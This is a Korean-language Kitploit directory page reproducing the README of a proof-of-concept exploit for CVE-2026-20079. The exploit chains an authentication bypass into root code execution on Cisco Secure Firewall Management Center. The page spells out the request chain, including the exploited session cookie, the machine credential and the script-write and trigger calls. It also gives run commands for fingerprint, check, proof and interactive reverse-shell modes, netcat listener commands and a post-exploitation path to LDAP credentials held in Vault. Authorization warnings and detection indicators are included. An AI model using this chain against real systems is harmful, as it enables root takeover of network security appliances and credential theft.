Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-20079 — fingerprint, check, proof 및 대화형 exploit 모드를 사용하여 Cisco Secure FMC를 대상으로 CVE-2026-20079 인증 우회-루트-RCE 체인을 구현합니다. | Kitploit
도구/GitHubGitHub/cyberauth/cve-2026-20079
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationPayload Development
GitHubcyberauth/cve-2026-20079

CVE-2026-20079

fingerprint, check, proof 및 대화형 exploit 모드를 사용하여 Cisco Secure FMC를 대상으로 CVE-2026-20079 인증 우회-루트-RCE 체인을 구현합니다.

저장소 보기
4일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-20079 Cisco Secure FMC PoC

공개적으로 문서화된 Cisco Secure Firewall Management Center의 CVE-2026-20079 인증 우회-루트-RCE 체인에 대한 Python 개념 증명(PoC)입니다.

이것은 새로운 취약점이나 독자적으로 개발된 익스플로잇 체인이 아닙니다. VulnCheck가 공개한 요청 시퀀스를 클린룸 방식으로 구현한 것으로, 별도의 핑거프린트, 점검, 단발성 증명, 대화형 익스플로잇 모드를 포함합니다.

빠른 설정

Python 3.10 이상이 필요합니다. Linux 또는 macOS에서:```bash git clone https://github.com/CyberAuth/CVE-2026-20079.git cd CVE-2026-20079 python3 -m venv .venv source .venv/bin/activate python3 -m pip install -r requirements.txt python3 CVE-2026-20079.py --help

root@kitploit:~
## 예제 주소 교체

아래의 모든 `192.0.2.x` 값은 문서용으로 예약된 주소입니다. 이는 실제로 발견된 대상 정보가 아닌 자리 표시자이며, 승인된 평가에서 얻은 값으로 교체해야 합니다. 명령은 변경 없이 그대로 실행될 것으로 기대해서는 안 됩니다.

| 예제 | 의미 | 대신 사용할 값 |
| --- | --- | --- |
| `https://192.0.2.10` | 대상 FMC URL | 승인된 정확한 FMC 스키마, 주소 및 포트 |
| `192.0.2.20` | FMC가 다시 연결하는 주소 | 운영자 리스너의 IP 주소 또는 DNS 이름 (**FMC에서 접근 가능한 기준**) |
| `192.0.2.0/24` | 예제 핑거프린트 CIDR | 명시적으로 승인된 네트워크 범위 |
| `4444` | 콜백/리스너 TCP 포트 | 콜백 시스템에서 승인되고 도달 가능한 포트 |
| `0.0.0.0` | 운영자 시스템에서 리스너가 바인딩되는 위치 | 모든 로컬 인터페이스를 수신하도록 유지하거나, 로컬 인터페이스 주소 하나를 사용 |
| `--expected-callback-source`의 `192.0.2.10` | 콜백의 예상 소스 | 리스너가 관찰한 FMC 소스 주소; NAT로 인해 불확실한 경우 이 옵션을 생략 |
| `http://127.0.0.1:8080` | 선택적 로컬 인터셉팅 프록시 | 운영자 시스템에서 실제로 수신 중인 프록시 URL |

### `--callback-host` 선택하기

다음 규칙을 사용하세요. **FMC의 관점에서 운영자의 리스너에 도달하는 주소는 무엇인가요?** 그 주소가 `--callback-host`입니다.

| 네트워크 경로 | 일반적인 `--callback-host` 값 |
| --- | --- |
| 운영자와 FMC가 동일한 라우팅 네트워크에 있음 | 운영자 시스템에서 접근 가능한 `eth0`, `en0` 또는 기타 LAN 주소 |
| 운영자가 VPN을 통해 FMC에 연결함 | FMC가 해당 경로를 가질 때 `tun0` 또는 `utun` 같은 접근 가능한 VPN 인터페이스 주소 |
| 운영자가 NAT 또는 방화벽 뒤에 있음 | 선택된 포트가 운영자 시스템으로 전달되는 공용 IP 또는 DNS 이름 |
| 콜백 터널 또는 VPS를 사용함 | 접근 가능한 터널 엔드포인트 또는 VPS 주소 |

`--callback-host`에는 `127.0.0.1`이나 `0.0.0.0`을 사용하지 마세요. `127.0.0.1`은 FMC 자체를 가리키는 반면, `0.0.0.0`은 리스너 바인딩 값이지 대상 주소가 아닙니다. 라우팅, 방화벽 규칙 및 모든 포트 전달이 FMC가 `--callback-port`의 `--callback-host`에 도달할 수 있게 하는지 확인하세요.

`--listen-host`는 로컬 전용입니다. 통합 리스너가 대기하는 인터페이스를 선택합니다. 기본값인 `0.0.0.0`은 모든 로컬 인터페이스에서 수신합니다. 이는 FMC에 어디로 연결할지 알려주지 않습니다. 따라서 `--callback-host`와 `--listen-host`는 특히 NAT를 넘나들 때 서로 다를 수 있습니다.

### 실습 예제: 운영자와 FMC가 동일한 네트워크에 있는 경우

다음은 문서화 전용의 가상 랩입니다:```text
Operator system                                      FMC target
eth0: 192.0.2.20                                     192.0.2.10

1. Operator ---------------------------------------> FMC
   HTTPS requests to https://192.0.2.10

2. Operator <--------------------------------------- FMC
   Listener on TCP 4444         callback to 192.0.2.20:4444

값은 명령어에 다음과 같이 매핑됩니다:

  • --target https://192.0.2.10은 평가 대상 FMC를 식별합니다.
  • --callback-host 192.0.2.20은 운영자 시스템의 eth0 주소입니다. FMC가 해당 주소로 직접 라우팅할 수 있기 때문입니다.
  • --callback-port 4444는 콜백에 사용되는 승인된 TCP 포트입니다.
  • --listen-host 0.0.0.0은 통합 리스너가 eth0을 포함한 모든 로컬 인터페이스에서 콜백을 수락하도록 합니다.

해당 예제에 대한 일회성 검증 명령은 다음과 같습니다:```bash python3 CVE-2026-20079.py
--proof
--target https://192.0.2.10
--callback-host 192.0.2.20
--callback-port 4444
--listen-host 0.0.0.0

root@kitploit:~
The flow is: the operator sends HTTPS requests to `192.0.2.10`, then the FMC
connects back to the operator's `192.0.2.20:4444`. In a real assessment,
replace both IP addresses and confirm the return route before running the
command. If the FMC cannot reach the operator's `eth0` address, use the
reachable VPN, NAT, tunnel, or VPS address described above instead.

## 모드 및 빠른 명령 참조

| 모드 | 네트워크 또는 대상 효과 | 성공 시 입증되는 사항 |
| --- | --- | --- |
| `--fingerprint` | GET 요청만 | 가능한 FMC 웹 표면; 취약점 확인은 아님 |
| `--check` | 서버 측 세션 상태 업그레이드 | 인증 우회 및 작업 토큰 접근 |
| `--proof` | 제한된 콜백 페이로드 작성 및 실행 | 대화형 셸 없이 루트 실행 및 정리 |
| `--exploit` | FIFO/netcat 페이로드 작성 및 실행 | 대화형 루트 콜백, 또는 `--auto-verify`를 사용한 제한된 검증 |

세 가지 예제 값을 한 번 설정하고, 각각을 승인된 대상, 운영자 콜백 주소 및 포트로 교체하십시오:```bash
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20  # Address the FMC can use to reach this listener
CALLBACK_PORT=4444

그런 다음 정확히 하나의 모드를 선택하세요:```bash

GET-only product fingerprint; start here

python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"

Intrusive authentication-bypass check; changes server-side session state

python3 CVE-2026-20079.py --check --target "$FMC_URL"

One-shot root proof with integrated listener and verified cleanup

python3 CVE-2026-20079.py --proof --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

Interactive root callback; first start one listener in another terminal:

Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"

macOS built-in netcat: nc -lvn "$CALLBACK_PORT"

python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

Bounded root verification and cleanup instead of an interactive shell

python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
--auto-verify

root@kitploit:~
> [!IMPORTANT]
> 핑거프린팅은 휴리스틱 제품 식별 단계이지 취약점 점검이 아닙니다.
> `MATCH` 및 `LIKELY`는 대상이 영향을 받거나 악용 가능함을 증명하지
> 않으며, `NO_MATCH`는 FMC를 배제하지 않습니다. 리버스 프록시, 사용자 정의
> 로그인 페이지, 액세스 제어, 네트워크 오류 또는 제품 변경이 결과에 영향을
> 줄 수 있습니다.

핑거프린팅은 네트워크 요청을 보내지만 인증 우회 또는 RCE 체인을 실행하지는 않습니다. `--check`, `--proof` 또는 `--exploit`을 사용하기 전에 아래의 분류 세부 사항, 모드 설명 및 세션 상태 경고를 읽으십시오.

> [!WARNING]
> 대상 변경 및 증명 방법을 명시적으로 서면 승인하지 않은 상태에서
> `--check`, `--proof` 또는 `--exploit`을 실행하지 마십시오. 먼저 전제 조건,
> 세션 상태 제한 및 콜백 요구 사항을 읽으십시오.

## 익스플로잇 체인의 작동 방식

활성 체인은 `CGISESSID=csm_processes`를 `/login.cgi?logon=Continue`에 제공하고, 공개된 `report:snortrules` 머신 자격 증명을 사용하며, `/ui/user/general`에서 `sf_action_id`를 추출하고, `validateLicense`를 통해 Makeself 형식 스크립트를 작성한 다음 `SF::UI::DataObjectLibrary::upgradeReadinessCall`을 통해 트리거합니다.

## 중요 전제 조건

영향을 받는 소프트웨어 버전이 테스트 시점에 항상 악용 가능한 것은 아닙니다. 부팅 시 생성된 `csm_processes` 세션이 여전히 존재해야 합니다. 정상적인 인증 UI 활동과 세션 정리로 인해 이 세션이 제거될 수 있습니다. 이 전제 조건을 충족시키기 위해 프로덕션 FMC를 재부팅하지 마십시오.

## 세션 상태 제한

`--check`, `--proof` 및 `--exploit` 모드는 서버 측 `csm_processes` 세션을 업그레이드합니다. PoC는 공급업체가 문서화한 다운그레이드 작업이 없기 때문에 해당 세션을 원래의 부분 상태로 되돌리려 시도하지 않습니다. 클라이언트 쿠키를 지우는 것은 서버 측 변경을 되돌리지 못하며, 로그아웃, 강제 만료 또는 데이터베이스 항목 삭제는 세션을 복원하는 대신 파괴하고 후속 검증 또는 어플라이언스 동작을 방해할 수 있습니다. 자동 정리 기능은 임시 RCE 파일만 제거하며 세션 상태를 복원한다고 주장하지 않습니다. `--fingerprint`는 해당 세션을 사용하거나 수정하지 않습니다.

## 대상 런타임 전제 조건

두 콜백 페이로드 모두 다음이 필요합니다:

- 호환되는 POSIX 스타일 `/bin/sh`.
- `rm` 및 `command`.
- 대상 실행 `PATH`에서 사용 가능한 `nc`, `netcat` 또는 `ncat` 중 하나.
- FMC에서 제공된 콜백 주소와 포트로의 아웃바운드 TCP 연결.

대화형 `--exploit` 페이로드는 추가로 `mkfifo`가 필요합니다. 일회성 `--proof` 페이로드는 FIFO나 대화형 셸을 만들지 않습니다.

페이로드는 콜백을 시도하기 전에 지원되는 세 가지 netcat 명령 이름을 확인합니다. 어떤 것도 없으면 정리 트랩을 통해 종료합니다. 오류가 블라인드 서버 측 실행 경로 내부에서 발생하므로 테스터는 상세한 원격 오류 메시지 대신 콜백이 없다는 사실만 관찰합니다.

`--auto-verify`는 Python의 socket 라이브러리를 사용하며 로컬 netcat 설치가 필요하지 않습니다. 수동 리스너 모드는 `nc`, `ncat`, `socat` 또는 운영자가 선택한 다른 TCP 리스너를 사용할 수 있습니다.

## GET 전용 FMC 핑거프린팅

URL 하나를 핑거프린트하십시오:```bash
python3 CVE-2026-20079.py \
  --fingerprint \
  --target https://192.0.2.10

한 줄에 URL, IP 주소, 호스트 이름 또는 host:port 값을 하나씩 포함하는 파일을 핑거프린트합니다:```bash python3 CVE-2026-20079.py
--fingerprint
--targets-file targets.txt
--fingerprint-scheme https
--fingerprint-port 443
--workers 10

root@kitploit:~
명시적으로 승인된 네트워크 범위를 핑거프린팅합니다:```bash
python3 CVE-2026-20079.py \
  --fingerprint \
  --network 192.0.2.0/24 \
  --fingerprint-scheme https \
  --fingerprint-port 443 \
  --workers 20 \
  --max-hosts 256

이 모드는 영향이 적으며, 문자 그대로 수동적이지는 않습니다. 네트워크 요청을 보내기 때문입니다. 리디렉션은 전역적으로 비활성화되어 있으며, 도구는 원래 스킴, 호스트, 포트를 유지하는 정확한 /ui/login 경로로의 실제 HTTP 리디렉션만 따릅니다. 도구가 MATCH 또는 LIKELY를 보고하기 전에 로그인 응답은 성공(HTTP 2xx)이어야 합니다. 이 모드는 익스플로이트 쿠키를 첨부하거나, 자격 증명을 제출하거나, POST 요청을 보내거나, 외부 리디렉션을 따르거나, 버전을 확인하거나, CVE-2026-20079를 증명하지 않습니다. MATCH는 성공적인 응답에서 브랜딩이 관찰되었음을 의미하고, LIKELY는 성공적인 동일 출처 로그인 경로가 원시 HTML에서 브랜딩 없이 일치했음을 의미하며, NO_MATCH는 제한된 핑거프린트가 FMC를 식별하지 못했음을 의미합니다.

--targets-file 또는 --network를 허용하는 것은 --fingerprint뿐입니다. Check, proof 및 exploit 모드는 의도적으로 단일 대상 작업으로 유지됩니다. 파일 및 CIDR 확장은 중복 제거되며 --max-hosts(기본값 4096)로 제한되고, 동시성은 --workers(기본값 10, 최대 100)로 제한됩니다.

적극적 인증 우회 점검```bash

python3 CVE-2026-20079.py
--target https://192.0.2.10
--check

root@kitploit:~
성공에는 예상된 HTTP 302 세션 업그레이드와 세션별 `sf_action_id`를 포함한 200 응답이 모두 필요합니다.

PoC는 요청 체인 동안 완전한 액션 토큰을 메모리에 유지하지만 축약된 지문(fingerprint)만 출력합니다. 완전한 토큰이 포함된 원시 응답 본문은 민감한 세션 증거로 취급하고 게시하지 마십시오.

검사 성공 후 서버 측 세션은 업그레이드된 상태로 유지됩니다. 도구는 이를 명시적으로 보고하며 문서화되지 않은 롤백을 시도하지 않습니다.

## 원샷 루트 증명

루트 실행 증거가 필요하지만 대화형 셸이 필요하지 않은 경우 다음을 사용하세요:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --proof \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --expected-callback-source 192.0.2.10

Proof 모드는 파일 쓰기 요청 전에 항상 통합 리스너를 시작한다. 대상은 무작위 시작/종료 마커, id, 호스트 이름, 빌드 디렉터리 이름, /var/tmp/license.tmp 정리 상태를 보낸 후 연결을 끊는다. 성공하려면 uid=0(root)여야 하며 임시 스크립트가 존재하지 않음이 확인되어야 한다. FIFO를 생성하지 않으며, 대화형 명령 채널을 노출하지 않고, 환경별 후속 공격(post-exploitation)을 실행하지 않는다.

루트 셸 검증

승인된 콜백 시스템에서 리스너를 시작합니다:```bash

Linux (common netcat variants)

nc -lvnp 4444

macOS built-in netcat

nc -lvn 4444

root@kitploit:~
콜백 시스템에 적합한 리스너 명령을 하나만 실행하고 둘 다 실행하지 마세요.

그런 다음 실행하세요:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444

콜백 검증:```bash id hostname -f

root@kitploit:~
PoC는 정확한 임시 FIFO 경로를 출력합니다. FMC 셸에서 알려진 두 가지 익스플로잇 아티팩트만 제거하십시오:```bash
rm -f /tmp/.fmc_poc_<printed_suffix> /var/tmp/license.tmp

자동 루트 검증 및 정리

PoC는 자체 콜백 리스너를 실행하고 제한된 사후 악용을 자동으로 수행할 수 있습니다:```bash python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify

root@kitploit:~
`--auto-verify`는 콜백을 통해 다음 작업만 수행합니다:

1. `id`를 실행하고 `uid=0(root)`를 요구합니다.
2. `hostname -f`와 FMC 빌드 디렉터리 이름을 수집합니다.
3. 이번 실행에서 생성된 정확한 무작위 FIFO와 `/var/tmp/license.tmp`를 제거합니다.
4. 두 경로가 모두 존재하지 않는지 확인합니다.
5. 콜백을 종료합니다.

생성된 페이로드도 실행이 시작되는 즉시 `/var/tmp/license.tmp`의 링크를 해제하고 두 임시 경로 모두에 대해 셸 종료/시그널 정리 핸들러를 설치합니다. 자동 검증은 여전히 수행되며 독립적인 명시적 정리를 확인합니다. 쓰기가 시도되었지만 콜백 또는 정리 증명이 불완전한 경우, PoC는 0이 아닌 종료 코드로 종료하고 승인된 수동 검토가 필요할 수 있는 두 개의 정확한 경로를 출력합니다.

콜백 주소가 로컬 바인드 주소와 다른 경우 후자를 별도로 지정하십시오:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --auto-verify \
  --listen-host 0.0.0.0 \
  --callback-wait 60

콜백 소스가 FMC 주소 자체여야 하고 콜백 측 NAT가 관여하지 않는 경우, 리스너는 관련 없는 연결을 거부할 수 있습니다:```bash python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify
--expected-callback-source 192.0.2.10

root@kitploit:~
콜백을 수신하지 못했다는 사실만으로는 패치된 대상, 누락된 부팅 세션, 차단된 이그레스, 사용할 수 없거나 호환되지 않는 대상 측 netcat 구현, 또는 다른 런타임 실패를 구분할 수 없습니다.

자동 Vault 열거, 자격 증명 추출, 지속성, 그리고 측면 이동은 의도적으로 제외됩니다. 이러한 활동은 CVE-2026-20079를 입증하는 데 필요하지 않으며, 환경별 인증 및 구성에 의존합니다.

## PoC가 FIFO/netcat을 사용하는 이유

최초 수동 재현은 Bash `/dev/tcp` 콜백을 사용했습니다. 두 HTTP
익스플로잇 단계 모두 예상된 응답을 반환했지만 연결이 도착하지 않았습니다.
이것은 HTTP 상태만으로는 실행 증명이 되지 않는 이유와
셸별 콜백 기능을 어플라이언스에서 가정해서는 안 되는 이유를 보여줍니다.

성공적인 재시도는 공개 연구에 문서화된
FIFO/netcat 호환성 패턴을 사용했습니다. 따라서 이 PoC는 검증된 패턴을 직접 사용하며
실패했던 `/dev/tcp` 방식을 의도적으로 재시도하지 않습니다. 다음을 확인합니다:
`nc`, `netcat` 또는 `ncat`이 있고, 실제 콜백과 `uid=0(root)`을
자동 모드에서 요구하며, 콜백 또는 정리 증거가 없으면 0이 아닌 값을 반환합니다.
블라인드 콜백 실패의 정확한 이유를 판별할 수 없으므로,
대상이 패치되었다고 주장하는 대신 가능성 있는 런타임 및 네트워크
전제 조건을 보고합니다.

## 포스트 익스플로잇 범위

이 저장소는 인증되지 않은 상태에서 검증된 루트 콜백과 정리를 거쳐 CVE를 자동화합니다. 자격 증명 수집, 비밀 내보내기 또는 측면 이동은 **자동화하지 않습니다**.

한 번의 승인된 평가에서 생성된 루트 셸은 FMC에서 로컬로 실행 중인 HashiCorp Vault 서비스를 노출했습니다. 어플라이언스 로컬 Vault 클라이언트 토큰은 구성된 LDAP 자격 증명 레코드에 대한 접근을 허용했고, 해당 자격 증명은 이후 승인된 LDAPS 바인드를 완료했습니다. 이는 한 환경에서 관찰된 포스트 익스플로잇 경로일 뿐, CVE-2026-20079의 보편적 속성이나 전제 조건이 아닙니다.

[BLOG.md](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/BLOG.md)에서 1인칭 연구 이야기를 확인하세요: 공개 배경, 수동 익스플로잇 과정, 실패한 콜백, 성공적인 호환성 페이로드, 관찰된 포스트 익스플로잇 경로, 교훈, 그리고 이 도구의 최종 개발.

## 선택적 프록시

인터셉팅 프록시에서 요청을 관찰하려면:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --check \
  --proxy http://127.0.0.1:8080

증거 기준

HTTP 302 또는 HTTP 200만으로는 루트 RCE를 입증할 수 없습니다. 문제를 다음과 같이 취급하십시오:

  • FMC 표면은 --fingerprint가 제한된 로그인 동작 또는 브랜딩을 관찰한 경우에만 식별됩니다. 이것은 그 자체로 취약점 발견이 아닙니다.
  • 인증 우회는 업그레이드된 세션이 유효한 sf_action_id를 산출한 경우에만 확인됩니다.
  • 루트 RCE는 제어된 리스너가 콜백을 수신하고 id가 uid=0(root)를 보고하는 경우에만 확인됩니다.

통합 리스너는 실행마다 무작위화된 검증 마커를 사용하고, 캡처된 콜백 출력을 제한하며, 선택적으로 콜백 소스를 필터링하고, 루트 또는 정리가 검증될 수 없으면 0이 아닌 상태를 반환합니다. 수동 리스너 모드는 해당 조건을 Python 프로세스에 입증할 수 없습니다. 수동 모드의 성공적인 종료는 HTTP 체인이 제출되었음을 의미할 뿐, 루트 실행이 독립적으로 관찰되었음을 의미하지는 않습니다.

종료 상태

  • 0: 하나 이상의 오류가 아닌 결과로 핑거프린팅이 완료됨. --check가 인증 우회를 확인함. --proof 또는 --auto-verify가 루트 및 정리를 확인함. 또는 수동 리스너 모드가 예상된 HTTP 체인을 성공적으로 제출함.
  • 1: 대상이 예상 응답과 일치하지 않거나, 콜백/루트/정리 증명이 실패하거나, 요청/리스너 오류가 발생함.
  • 2: 잘못된 명령줄 인수.
  • 130: 운영자에 의해 중단됨. 페이로드 쓰기가 시도된 경우 도구는 정리되지 않은 상태로 남은 정확한 경로도 출력합니다.

탐지 기회

  • csm_processes 쿠키와 report 머신 사용자로 /login.cgi?logon=Continue에 POST.
  • 세션 업그레이드 직후 /ui/user/general에 대한 요청.
  • /sajaxintf.cgi?rs=callServerFunc에 대한 validateLicense 요청.
  • /pjb.cgi에 제출된 SF::UI::DataObjectLibrary::upgradeReadinessCall.
  • Makeself 마커를 포함하는 /var/tmp/license.tmp의 생성 또는 실행.
  • /tmp 아래의 FIFO 생성, 대화형 /bin/sh, nc, 그리고 FMC에서의 예상치 못한 외부 트래픽.

개발 및 테스트

빠른 설정은 requirements.txt의 런타임 종속성을 격리된 가상 환경에 설치합니다. 공개 대상을 접촉하지 않고 표준 라이브러리 단위 테스트와 로컬 모의 통합 테스트를 실행하십시오:```bash python3 -m unittest discover -s tests -v

root@kitploit:~
## References

- [Cisco advisory](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2)
- [VulnCheck technical analysis](https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079)

## Legal

Use only on systems you own or have explicit written authorization to test.
This proof of concept can change server-side session state and execute commands
as root. You are responsible for obtaining authorization, defining a safe
scope and proof boundary, protecting collected evidence, and complying with
applicable laws, contracts, and vendor or program rules. The author and
contributors do not authorize illegal access, disruption, or data collection.

The software is provided "as is", without warranty, and the authors and
copyright holders disclaim liability to the fullest extent permitted by law.
See the [MIT License](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/LICENSE) for the complete terms. This usage notice does
not modify or restrict the license.
도구 다운로드